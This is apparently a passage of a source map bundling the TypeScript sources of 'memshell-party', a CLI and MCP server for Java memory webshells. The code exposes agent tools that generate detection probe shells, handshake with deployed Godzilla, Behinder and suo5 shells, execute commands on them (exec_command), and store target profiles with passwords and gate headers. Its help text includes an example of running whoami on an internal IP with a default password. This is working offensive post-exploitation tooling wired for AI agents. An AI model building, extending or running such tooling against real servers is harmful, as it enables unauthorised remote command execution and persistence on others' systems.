true,\n durationMs: Date.now() - started,\n detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,\n meta,\n });\n return jsonContent(response);\n } catch (err) {\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: false,\n durationMs: Date.now() - started,\n error: (err as Error).message,\n meta,\n });\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"parse_classname\",\n {\n title: \"Parse class name\",\n description: \"Parse the fully-qualified class name from base64-encoded .class bytes\",\n inputSchema: { classBase64: z.string().describe(\"base64-encoded .class file bytes\") },\n },\n async ({ classBase64 }) => {\n try {\n return jsonContent({ className: await client.parseClassName(classBase64) });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"server_version\",\n { title: \"Server version\", description: \"Get the backend server version info\" },\n async () => {\n try {\n return jsonContent(await client.getVersion());\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"connect_test\",\n {\n title: \"Test shell connection\",\n description:\n \"Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the \" +\n \"credentials work, by performing the tool's real protocol handshake. \" +\n \"Pass a saved target `name`, or url+tool with the gate header \" +\n \"(headerName/headerValue) from generate_memshell output for MemShellParty shells.\",\n inputSchema: connectInput,\n },\n async (args) => {\n try {\n const conn = resolveConnection(args.name, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n });\n const common = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs: args.timeoutMs,\n insecure: conn.insecure,\n };\n let result: ConnectTestResult;\n switch (conn.tool) {\n case \"godzilla\":\n result = await testGodzilla(conn.url, conn.pass ?? \"pass\", conn.key ?? \"key\", common);\n break;\n case \"behinder\":\n result = await testBehinder(conn.url, conn.pass ?? \"rebeyond\", common);\n break;\n case \"suo5\":\n result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });\n break;\n default:\n throw new Error(`unknown tool ${String(conn.tool)}`);\n }\n logOp({\n category: \"connect\",\n action: \"connect\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.detail,\n error: result.error,\n });\n return jsonContent(result);\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"exec_command\",\n {\n title: \"Execute command on shell\",\n description:\n \"Execute a command line on a deployed Godzilla / Behinder shell and return its \" +\n \"stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / \" +\n \"Behinder Cmd payload). Run connect_test first to verify credentials; pass a \" +\n \"saved target `name`, or url+tool with the same gate header \" +\n \"(headerName/headerValue) for MemShellParty shells.\",\n inputSchema: execInput,\n },\n async (args) => {\n try {\n const conn = resolveConnection(args.name, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n });\n const common = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs: args.timeoutMs,\n insecure: conn.insecure,\n };\n let result: ExecResult;\n switch (conn.tool) {\n case \"godzilla\":\n result = await execGodzilla(\n conn.url,\n conn.pass ?? \"pass\",\n conn.key ?? \"key\",\n args.command,\n { ...common, os: args.os },\n );\n break;\n case \"behinder\":\n result = await execBehinder(conn.url, conn.pass ?? \"rebeyond\", args.command, common);\n break;\n default:\n throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);\n }\n const truncated = result.output !== undefined ? truncateOutput(result.output) : null;\n logOp({\n category: \"exec\",\n action: \"exec\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n command: args.command,\n output: truncated?.output,\n outputTruncated: truncated?.truncated || undefined,\n error: result.error,\n });\n return jsonContent(result);\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_save\",\n {\n title: \"Save shell target\",\n description:\n \"Save a shell connection profile as <project>/<shell> so later connect_test / \" +\n \"exec_command calls only need the name. A project groups several shells and \" +\n \"carries an optional remark and category. Overwrites an existing shell.\",\n inputSchema: targetSaveInput,\n },\n async (args) => {\n try {\n if (args.projectRemark !== undefined || args.projectCategory !== undefined) {\n saveProjectMeta(args.project, {\n remark: args.projectRemark,\n category: args.projectCategory,\n });\n }\n const stored = saveShell(args.project, args.shell, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n remark: args.shellRemark,\n });\n logOp({\n category: \"target\",\n action: \"save\",\n targetName: `${args.project}/${args.shell}`,\n url: args.url,\n tool: args.tool,\n ok: true,\n detail: \"saved\",\n meta: {\n projectRemark: args.projectRemark,\n projectCategory: args.projectCategory,\n shellRemark: args.shellRemark,\n },\n });\n return jsonContent({ project: args.project, shell: args.shell, ...stored });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_note\",\n {\n title: \"Set remark/category\",\n description:\n \"Set or clear (empty string) a project's remark and/or category — or a shell's \" +\n \"remark when `shell` is given.\",\n inputSchema: {\n project: z.string(),\n shell: z.string().optional().describe(\"when set, only `remark` applies (to the shell)\"),\n remark: z.string().optional().describe('remark (\"\" to clear)'),\n category: z.string().optional().describe('project category (\"\" to clear; projects only)'),\n },\n },\n async (args) => {\n try {\n if (args.shell) {\n if (args.category !== undefined) {\n throw new Error(\"category only applies to projects\");\n }\n const updated = saveShellMeta(args.project, args.shell, { remark: args.remark });\n logOp({\n category: \"target\",\n action: \"note\",\n targetName: `${args.project}/${args.shell}`,\n ok: true,\n detail: `remark=${updated.remark ?? \"-\"}`,\n });\n return jsonContent({\n project: args.project,\n shell: args.shell,\n remark: updated.remark,\n });\n }\n const updated = saveProjectMeta(args.project, {\n remark: args.remark,\n category: args.category,\n });\n logOp({\n category: \"target\",\n action: \"note\",\n targetName: args.project,\n ok: true,\n detail: `category=${updated.category ?? \"-\"} remark=${updated.remark ?? \"-\"}`,\n });\n return jsonContent({ project: args.project, ...updated, shells: Object.keys(updated.shells) });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_list\",\n {\n title: \"List saved targets\",\n description:\n \"List saved projects (remark, category) and their shells. Use the \" +\n \"<project>/<shell> references as `name` in connect_test / exec_command.\",\n inputSchema: {\n category: z.string().optional().describe(\"only show projects in this category\"),\n },\n },\n async (args) => {\n try {\n const all = listProjects();\n const filtered: Record<string, unknown> = {};\n for (const [name, p] of Object.entries(all)) {\n if (args.category !== undefined && p.category !== args.category) continue;\n filtered[name] = p;\n }\n return jsonContent({ storePath: targetStorePath(), projects: filtered });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_remove\",\n {\n title: \"Remove saved target\",\n description: \"Remove a whole project, or a single shell when `shell` is given.\",\n inputSchema: {\n project: z.string(),\n shell: z.string().optional(),\n },\n },\n async (args) => {\n try {\n const removed = args.shell\n ? removeShell(args.project, args.shell)\n : removeProject(args.project);\n if (!removed) throw new Error(`unknown target ${args.project}/${args.shell ?? \"\"}`);\n logOp({\n category: \"target\",\n action: \"remove\",\n targetName: args.shell ? `${args.project}/${args.shell}` : args.project,\n ok: true,\n detail: \"removed\",\n });\n return jsonContent({ removed: true, project: args.project, shell: args.shell });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"log_list\",\n {\n title: \"List operation log\",\n description:\n \"Read the global operation log (every gen/probe/connect/exec/target op), \" +\n \"newest first. Filter by category and/or target.\",\n inputSchema: {\n category: z\n .enum([\"gen\", \"probe\", \"connect\", \"exec\", \"target\"])\n .optional()\n .describe(\"operation category\"),\n target: z\n .string()\n .optional()\n .describe(\"project name, project/shell, or a URL substring (e.g. host)\"),\n limit: z.number().optional().describe(\"max entries (default 50)\"),\n },\n },\n async (args) => {\n try {\n const entries = readOps({\n category: args.category as OpCategory | undefined,\n target: args.target,\n limit: args.limit,\n });\n return jsonContent({ logPath: opLogPath(), entries });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n return server;\n}\n\n/** Start the MCP server over stdio. */\nexport async function startMcpStdio(client: MemPartyClient): Promise<void> {\n const server = createMcpServer(client);\n const transport = new StdioServerTransport();\n await server.connect(transport);\n}\n","import { createRequire } from \"node:module\";\n\nconst require = createRequire(import.meta.url);\n\ninterface PkgJson {\n version: string;\n}\n\n// package.json sits one level above the built dist/ file and above src/ in dev.\nlet version = \"0.0.0\";\ntry {\n version = (require(\"../package.json\") as PkgJson).version;\n} catch {\n try {\n version = (require(\"./package.json\") as PkgJson).version;\n } catch {\n // fall back to placeholder\n }\n}\n\nexport const CLI_VERSION = version;\n","import { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions, logInfo } from \"../cli-context.js\";\nimport { startMcpStdio } from \"../mcp/server.js\";\nimport { resolveApiUrl } from \"../core/config.js\";\n\nexport function registerMcpCommand(program: Command): void {\n program\n .command(\"mcp\")\n .description(\"Run as an MCP server over stdio (exposes generation + config tools)\")\n .action(async (_opts: GlobalOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals();\n const client = createClient(globals);\n logInfo(`memshell-party MCP server starting (api: ${resolveApiUrl({ flag: globals.api })})`);\n await startMcpStdio(client);\n });\n}\n","import { readFileSync } from \"node:fs\";\n\nimport { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions } from \"../cli-context.js\";\n\ninterface ParseCmdOptions extends GlobalOptions {\n file?: string;\n}\n\nexport function registerParseClassNameCommand(program: Command): void {\n program\n .command(\"parse-classname\")\n .description(\"Parse the fully-qualified class name from a .class file\")\n .argument(\"[base64]\", \"base64-encoded .class bytes (omit when using --file)\")\n .option(\"-f, --file <path>\", \"read a .class file from disk instead of passing base64\")\n .action(async (base64: string | undefined, opts: ParseCmdOptions, cmd: Command) => {\n let classBase64: string;\n if (opts.file) {\n classBase64 = readFileSync(opts.file).toString(\"base64\");\n } else if (base64) {\n classBase64 = base64.trim();\n } else {\n throw new Error(\"Provide base64 bytes as an argument or use --file <path>.\");\n }\n\n const client = createClient(cmd.optsWithGlobals());\n const name = await client.parseClassName(classBase64);\n process.stdout.write(`${name}\\n`);\n });\n}\n","import { Command, Option } from \"commander\";\n\nimport { createClient, type GlobalOptions, logInfo } from \"../cli-context.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { emitPayload } from \"../core/output.js\";\nimport { buildProbeRequest, type ProbeOptions } from \"../core/request-builder.js\";\nimport { runProbeWizard } from \"../wizard/probe-wizard.js\";\n\ninterface ProbeCmdOptions extends GlobalOptions {\n method?: string;\n content?: string;\n packer?: string;\n jdk?: string;\n debug?: boolean;\n bypassModule?: boolean;\n shrink?: boolean;\n lambdaSuffix?: boolean;\n staticInitialize?: boolean;\n shellClassName?: string;\n host?: string;\n seconds?: string;\n sleepServer?: string;\n server?: string;\n reqParamName?: string;\n commandTemplate?: string;\n output?: string;\n decode?: boolean;\n json?: boolean;\n interactive?: boolean;\n}\n\nconst REQUIRED = [\"method\", \"content\", \"packer\"] as const;\n\nfunction toOptions(o: ProbeCmdOptions): ProbeOptions {\n return {\n probeMethod: o.method!,\n probeContent: o.content!,\n packer: o.packer!,\n jdk: o.jdk,\n debug: o.debug,\n byPassJavaModule: o.bypassModule,\n shrink: o.shrink,\n lambdaSuffix: o.lambdaSuffix,\n staticInitialize: o.staticInitialize,\n shellClassName: o.shellClassName,\n host: o.host,\n seconds: o.seconds !== undefined ? Number(o.seconds) : undefined,\n sleepServer: o.sleepServer,\n server: o.server,\n reqParamName: o.reqParamName,\n commandTemplate: o.commandTemplate,\n };\n}\n\nexport function registerProbeCommand(program: Command): void {\n program\n .command(\"probe\")\n .description(\"Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.\")\n .option(\"-m, --method <method>\", \"probe method: ResponseBody, DNSLog, Sleep\")\n .option(\"-c, --content <content>\", \"probe content: BasicInfo, Server, OS, JDK, Bytecode, Command\")\n .option(\"-p, --packer <packer>\", \"packer, e.g. Base64, JSP\")\n .option(\"--jdk <version>\", \"target JDK: java6/8/9/11/17/21, or a class-file major version\")\n .option(\"--debug\", \"enable debug output\")\n .option(\"--bypass-module\", \"bypass Java module restrictions\")\n .option(\"--no-shrink\", \"disable bytecode shrinking (enabled by default)\")\n .option(\"--lambda-suffix\", \"append a lambda class-name suffix\")\n .option(\"--no-static-initialize\", \"disable static initialization (enabled by default)\")\n .option(\"--shell-class-name <name>\", \"explicit shell class name\")\n .option(\"--host <host>\", \"DNSLog host (DNSLog method)\")\n .option(\"--seconds <n>\", \"sleep seconds (Sleep method)\")\n .option(\"--sleep-server <server>\", \"server to fingerprint (Sleep method)\")\n .option(\"--server <server>\", \"server (ResponseBody method)\")\n .option(\"--req-param-name <name>\", \"request param name (ResponseBody method)\")\n .option(\"--command-template <tpl>\", \"command template ({command} placeholder)\")\n .option(\"-o, --output <file>\", \"write payload to a file instead of stdout\")\n .addOption(new Option(\"--decode\", \"base64-decode the payload before writing\"))\n .addOption(new Option(\"--no-decode\", \"do not base64-decode the payload\"))\n .option(\"--json\", \"print the full JSON response instead of just the payload\")\n .option(\"-i, --interactive\", \"force the interactive wizard\")\n .option(\"--no-interactive\", \"never launch the wizard; error on missing flags\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty probe # interactive wizard\n $ memparty probe -m ResponseBody -c Command -p DefaultBase64 \\\\\n --server Tomcat --req-param-name cmd\n $ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn\n $ memparty probe -m Sleep -c Server -p DefaultBase64 \\\\\n --sleep-server Tomcat --seconds 5\n\nNote: a probe is a detection shell that reports what the target supports.\nThe server name reported by '-c Server' is the value to pass as\n'memparty gen -s'.\n`,\n )\n .action(async (opts: ProbeCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n\n const missing = REQUIRED.filter((k) => !opts[k]);\n const stdinIsTty = Boolean(process.stdin.isTTY);\n const wantWizard =\n opts.interactive === true ||\n (opts.interactive !== false && missing.length > 0 && stdinIsTty);\n\n let probeOpts: ProbeOptions;\n if (wantWizard) {\n probeOpts = await runProbeWizard(client);\n } else {\n if (missing.length > 0) {\n throw new Error(\n `Missing required option(s): ${missing.map((m) => `--${m}`).join(\", \")}. ` +\n `Run in a terminal for the wizard, or pass -i.`,\n );\n }\n probeOpts = toOptions(opts);\n }\n\n const request = buildProbeRequest(probeOpts);\n const probeMeta = {\n probeMethod: probeOpts.probeMethod,\n probeContent: probeOpts.probeContent,\n packer: probeOpts.packer,\n jdk: probeOpts.jdk,\n };\n const started = Date.now();\n let response;\n try {\n response = await client.generateProbe(request);\n } catch (err) {\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: false,\n durationMs: Date.now() - started,\n error: err instanceof Error ? err.message : String(err),\n meta: probeMeta,\n });\n throw err;\n }\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,\n meta: probeMeta,\n });\n\n if (opts.json) {\n process.stdout.write(`${JSON.stringify(response, null, 2)}\\n`);\n return;\n }\n\n const r = response.probeShellResult;\n logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);\n\n if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {\n for (const [name, value] of Object.entries(response.allPackResults)) {\n logInfo(`\\n=== ${name} ===`);\n process.stdout.write(`${value}\\n`);\n }\n return;\n }\n\n if (response.packResult === undefined) {\n throw new Error(\"Server returned no packResult.\");\n }\n\n const result = emitPayload(response.packResult, {\n outFile: opts.output,\n decode: opts.decode,\n });\n if (result.destination !== \"stdout\") {\n logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? \" (base64-decoded)\" : \"\"}`);\n }\n });\n}\n","import { checkbox, confirm, input, select } from \"@inquirer/prompts\";\n\nimport type { MemPartyClient } from \"../api/client.js\";\nimport { JDK_VERSIONS } from \"../core/jdk.js\";\nimport type { ProbeOptions } from \"../core/request-builder.js\";\n\nconst JDK_CHOICES = [\n { name: \"server default\", value: \"\" },\n ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({ name: `${name} (${major})`, value: name })),\n];\n\nconst PROBE_METHODS = [\"ResponseBody\", \"DNSLog\", \"Sleep\"];\nconst PROBE_CONTENTS = [\"BasicInfo\", \"Server\", \"OS\", \"JDK\", \"Bytecode\", \"Command\"];\n\nexport async function runProbeWizard(client: MemPartyClient): Promise<ProbeOptions> {\n const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);\n const servers = Object.keys(config);\n\n const probeMethod = await select({\n message: \"Probe method\",\n choices: PROBE_METHODS.map((m) => ({ name: m, value: m })),\n });\n\n const probeContent = await select({\n message: \"Probe content\",\n choices: PROBE_CONTENTS.map((c) => ({ name: c, value: c })),\n });\n\n const packer = await select({\n message: \"Packer\",\n choices: packerTree.flatMap((p) => [\n { name: p.name, value: p.name },\n ...p.children.map((c) => ({ name: ` ${c}`, value: c })),\n ]),\n });\n\n const opts: ProbeOptions = { probeMethod, probeContent, packer };\n\n switch (probeMethod) {\n case \"DNSLog\":\n opts.host = await input({ message: \"DNSLog host\" });\n break;\n case \"Sleep\":\n opts.sleepServer = await select({\n message: \"Sleep server\",\n choices: servers.map((s) => ({ name: s, value: s })),\n });\n opts.seconds = Number(await input({ message: \"Seconds\", default: \"5\" }));\n break;\n case \"ResponseBody\":\n opts.server = await select({\n message: \"Server\",\n choices: servers.map((s) => ({ name: s, value: s })),\n });\n opts.reqParamName = await input({ message: \"Request param name\", default: \"cmd\" });\n opts.commandTemplate = await input({\n message: \"Command template (optional, {command} placeholder)\",\n default: \"\",\n });\n break;\n default:\n break;\n }\n\n const shellClassName = await input({ message: \"Shell class name (optional)\", default: \"\" });\n if (shellClassName) opts.shellClassName = shellClassName;\n\n const jdk = await select({ message: \"Target JDK\", choices: JDK_CHOICES });\n if (jdk) opts.jdk = jdk;\n\n const toggles = await checkbox({\n message: \"Options\",\n choices: [\n { name: \"shrink bytecode\", value: \"shrink\", checked: true },\n { name: \"static initialize\", value: \"staticInitialize\", checked: true },\n { name: \"bypass Java module\", value: \"byPassJavaModule\" },\n { name: \"lambda suffix\", value: \"lambdaSuffix\" },\n { name: \"debug\", value: \"debug\" },\n ],\n });\n opts.shrink = toggles.includes(\"shrink\");\n opts.staticInitialize = toggles.includes(\"staticInitialize\");\n opts.byPassJavaModule = toggles.includes(\"byPassJavaModule\");\n opts.lambdaSuffix = toggles.includes(\"lambdaSuffix\");\n opts.debug = toggles.includes(\"debug\");\n\n const confirmed = await confirm({ message: `Generate ${probeMethod} probe (${packer})?` });\n if (!confirmed) throw new Error(\"Cancelled by user.\");\n\n return opts;\n}\n","import { Command, Option } from \"commander\";\n\nimport {\n getProject,\n listProjects,\n removeProject,\n removeShell,\n saveProjectMeta,\n saveShell,\n saveShellMeta,\n targetStorePath,\n type ShellInput,\n} from \"../core/targets.js\";\nimport { logOp } from \"../core/oplog.js\";\n\ninterface TargetSaveOptions {\n url?: string;\n tool?: string;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n header?: string[];\n insecure?: boolean;\n remark?: string;\n category?: string;\n shellRemark?: string;\n json?: boolean;\n}\n\nfunction parseExtraHeaders(lines: string[] | undefined): Record<string, string> {\n const headers: Record<string, string> = {};\n for (const line of lines ?? []) {\n const idx = line.indexOf(\":\");\n if (idx <= 0) {\n throw new Error(`invalid header ${JSON.stringify(line)}, expected \"Name: value\"`);\n }\n headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();\n }\n return headers;\n}\n\nfunction parseRef(ref: string): { project: string; shell?: string } {\n const slash = ref.indexOf(\"/\");\n if (slash === -1) return { project: ref };\n return { project: ref.slice(0, slash), shell: ref.slice(slash + 1) };\n}\n\nexport function registerTargetCommand(program: Command): void {\n const target = program\n .command(\"target\")\n .description(\n \"Manage named shell targets: projects (remark + category) grouping several shells\",\n );\n\n target\n .command(\"save\")\n .description(\n \"Save a shell connection profile as <project>/<shell> (overwrites an existing shell)\",\n )\n .argument(\"<ref>\", \"shell reference: <project>/<shell>\")\n .requiredOption(\"-u, --url <url>\", \"URL of the deployed shell\")\n .addOption(\n new Option(\"-t, --tool <tool>\", \"shell tool\").choices([\"godzilla\", \"behinder\", \"suo5\"]),\n )\n .option(\"--pass <pass>\", \"password\")\n .option(\"--key <key>\", \"godzilla key\")\n .option(\"--header-name <name>\", \"gate header name (shellToolConfig.headerName)\")\n .option(\"--header-value <value>\", \"gate header value (shellToolConfig.headerValue)\")\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\n .option(\"--remark <text>\", \"project remark (merged into the project)\")\n .option(\"--category <name>\", \"project category (merged into the project)\")\n .option(\"--shell-remark <text>\", \"remark for this shell\")\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\\\\n -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \\\\\n --remark \"内网测试环境\" --category test\n $ memparty exec hw222/bh9060 --cmd \"whoami\"\n`,\n )\n .action((ref: string, opts: TargetSaveOptions) => {\n const { project, shell } = parseRef(ref);\n if (!shell) {\n process.stderr.write(\n `Error: expected <project>/<shell>, got ${JSON.stringify(ref)}\\n`,\n );\n process.exitCode = 1;\n return;\n }\n if (!opts.tool) {\n process.stderr.write(\"Error: --tool is required (godzilla | behinder | suo5)\\n\");\n process.exitCode = 1;\n return;\n }\n if (opts.remark !== undefined || opts.category !== undefined) {\n saveProjectMeta(project, { remark: opts.remark, category: opts.category });\n }\n const input: ShellInput = {\n url: opts.url!,\n tool: opts.tool as ShellInput[\"tool\"],\n pass: opts.pass,\n key: opts.key,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n extraHeaders: parseExtraHeaders(opts.header),\n insecure: opts.insecure || undefined,\n remark: opts.shellRemark,\n };\n const stored = saveShell(project, shell, input);\n logOp({\n category: \"target\",\n action: \"save\",\n targetName: `${project}/${shell}`,\n url: stored.url,\n tool: stored.tool,\n ok: true,\n detail: \"saved\",\n meta: {\n projectRemark: opts.remark,\n projectCategory: opts.category,\n shellRemark: opts.shellRemark,\n },\n });\n if (opts.json) {\n process.stdout.write(\n `${JSON.stringify({ project, shell, ...stored }, null, 2)}\\n`,\n );\n } else {\n process.stdout.write(\n `saved ${project}/${shell} (${stored.tool} ${stored.url}) -> ${targetStorePath()}\\n`,\n );\n }\n });\n\n target\n .command(\"note\")\n .description(\"Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])\")\n .argument(\"<ref>\", \"project name or <project>/<shell>\")\n .option(\"--remark <text>\", 'remark (\"\" to clear)')\n .option(\"--category <name>\", 'project category (\"\" to clear; projects only)')\n .action((ref: string, opts: { remark?: string; category?: string }) => {\n const { project, shell } = parseRef(ref);\n if (shell) {\n if (opts.category !== undefined) {\n process.stderr.write(\"Error: --category only applies to projects\\n\");\n process.exitCode = 1;\n return;\n }\n if (opts.remark === undefined) {\n process.stderr.write(\"Error: nothing to set — pass --remark\\n\");\n process.exitCode = 1;\n return;\n }\n const updated = saveShellMeta(project, shell, { remark: opts.remark });\n logOp({\n category: \"target\",\n action: \"note\",\n targetName: `${project}/${shell}`,\n ok: true,\n detail: `remark=${updated.remark ?? \"-\"}`,\n });\n process.stdout.write(`${project}/${shell}: remark=${updated.remark ?? \"-\"}\\n`);\n return;\n }\n if (opts.remark === undefined && opts.category === undefined) {\n process.stderr.write(\"Error: nothing to set — pass --remark and/or --category\\n\");\n process.exitCode = 1;\n return;\n }\n const existing = getProject(project);\n if (!existing) {\n process.stderr.write(`Error: unknown project ${JSON.stringify(project)}\\n`);\n process.exitCode = 1;\n return;\n }\n const updated = saveProjectMeta(project, {\n remark: opts.remark,\n category: opts.category,\n });\n logOp({\n category: \"target\",\n action: \"note\",\n targetName: project,\n ok: true,\n detail: `category=${updated.category ?? \"-\"} remark=${updated.remark ?? \"-\"}`,\n });\n process.stdout.write(\n `${project}: category=${updated.category ?? \"-\"} remark=${updated.remark ?? \"-\"}\\n`,\n );\n });\n\n target\n .command(\"list\")\n .description(\"List saved projects and their shells\")\n .option(\"--category <name>\", \"only show projects in this category\")\n .option(\"--json\", \"output raw JSON\")\n .action((opts: { category?: string; json?: boolean }) => {\n const all = listProjects();\n const names = Object.keys(all).filter(\n (n) => opts.category === undefined || all[n]!.category === opts.category,\n );\n if (opts.json) {\n const filtered: Record<string, unknown> = {};\n for (const n of names) filtered[n] = all[n];\n process.stdout.write(`${JSON.stringify(filtered, null, 2)}\\n`);\n return;\n }\n if (names.length === 0) {\n process.stdout.write(`no saved projects (store: ${targetStorePath()})\\n`);\n return;\n }\n for (const name of names) {\n const p = all[name]!;\n const meta =\n [p.category ? `[${p.category}]` : undefined, p.remark].filter(Boolean).join(\" \");\n process.stdout.write(`${name}${meta ? ` ${meta}` : \"\"}\\n`);\n for (const [shellName, s] of Object.entries(p.shells)) {\n const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;\n process.stdout.write(`${line}${s.remark ? ` — ${s.remark}` : \"\"}\\n`);\n }\n }\n });\n\n target\n .command(\"remove\")\n .description(\"Remove a whole project or a single shell (<project>[/<shell>])\")\n .argument(\"<ref>\", \"project name or <project>/<shell>\")\n .action((ref: string) => {\n const { project, shell } = parseRef(ref);\n const removed = shell ? removeShell(project, shell) : removeProject(project);\n logOp({\n category: \"target\",\n action: \"remove\",\n targetName: ref,\n ok: removed,\n detail: removed ? \"removed\" : \"unknown target\",\n });\n if (removed) {\n process.stdout.write(`removed ${ref}\\n`);\n } else {\n process.stderr.write(`Error: unknown target ${JSON.stringify(ref)}\\n`);\n process.exitCode = 1;\n }\n });\n}\n","import { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions } from \"../cli-context.js\";\nimport { CLI_VERSION } from \"../version.js\";\n\ninterface VersionCmdOptions extends GlobalOptions {\n json?: boolean;\n}\n\nexport function registerVersionCommand(program: Command): void {\n program\n .command(\"version\")\n .description(\"Show CLI version and the backend server version\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: VersionCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n let server: Awaited<ReturnType<typeof client.getVersion>> | { error: string };\n try {\n server = await client.getVersion();\n } catch (err) {\n server = { error: (err as Error).message };\n }\n\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ cli: CLI_VERSION, server }, null, 2)}\\n`);\n return;\n }\n\n const lines = [`CLI: ${CLI_VERSION}`];\n if (\"error\" in server) {\n lines.push(`Server: (unavailable) ${server.error}`);\n } else {\n lines.push(`Server: ${server.currentVersion}`);\n if (server.hasUpdate) {\n lines.push(`Update: ${server.latestVersion} available`);\n }\n }\n process.stdout.write(`${lines.join(\"\\n\")}\\n`);\n });\n}\n"],"mappings":";;;AAAA,SAAS,WAAAA,gBAAe;;;ACgBjB,IAAM,WAAN,cAAuB,MAAM;AAAA,EAClC,YACE,SACS,QACA,KACT;AACA,UAAM,OAAO;AAHJ;AACA;AAGT,SAAK,OAAO;AAAA,EACd;AAAA,EALW;AAAA,EACA;AAKb;AAgBO,IAAM,iBAAN,MAAqB;AAAA,EACT;AAAA,EACA;AAAA,EACA;AAAA,EAEjB,YAAY,SAAgC;AAC1C,SAAK,UAAU,QAAQ,QAAQ,QAAQ,QAAQ,EAAE;AACjD,SAAK,YAAY,QAAQ,SAAS,WAAW;AAC7C,SAAK,YAAY,QAAQ,aAAa;AACtC,QAAI,OAAO,KAAK,cAAc,YAAY;AACxC,YAAM,IAAI;AAAA,QACR;AAAA,MACF;AAAA,IACF;AAAA,EACF;AAAA;AAAA,EAIA,aAAoC;AAClC,WAAO,KAAK,QAAsB,OAAO,qBAAqB;AAAA,EAChE;AAAA,EAEA,YAAiC;AAC/B,WAAO,KAAK,QAAoB,OAAO,aAAa;AAAA,EACtD;AAAA,EAEA,gBAAqC;AACnC,WAAO,KAAK,QAAoB,OAAO,0BAA0B;AAAA,EACnE;AAAA,EAEA,aAAgC;AAC9B,WAAO,KAAK,QAAkB,OAAO,qBAAqB;AAAA,EAC5D;AAAA,EAEA,oBAA8C;AAC5C,WAAO,KAAK,QAAyB,OAAO,6BAA6B;AAAA,EAC3E;AAAA,EAEA,aAAmC;AACjC,WAAO,KAAK,QAAqB,OAAO,cAAc;AAAA,EACxD;AAAA;AAAA,EAIA,iBAAiB,KAAiE;AAChF,WAAO,KAAK,QAAkC,QAAQ,0BAA0B;AAAA,MAC9E,MAAM;AAAA,IACR,CAAC;AAAA,EACH;AAAA,EAEA,cAAc,KAAqE;AACjF,WAAO,KAAK,QAAoC,QAAQ,uBAAuB;AAAA,MAC7E,MAAM;AAAA,IACR,CAAC;AAAA,EACH;AAAA;AAAA,EAGA,eAAe,aAAsC;AACnD,WAAO,KAAK,QAAgB,QAAQ,kBAAkB;AAAA,MACpD,MAAM;AAAA,MACN,KAAK;AAAA,IACP,CAAC;AAAA,EACH;AAAA;AAAA,EAIA,MAAc,QACZ,QACA,MACA,OAAyD,CAAC,GAC9C;AACZ,UAAM,MAAM,GAAG,KAAK,OAAO,GAAG,IAAI;AAClC,UAAM,UAAkC,CAAC;AACzC,QAAI;AAEJ,QAAI,KAAK,SAAS,QAAW;AAC3B,cAAQ,cAAc,IAAI;AAC1B,aAAO,KAAK,UAAU,KAAK,IAAI;AAAA,IACjC,WAAW,KA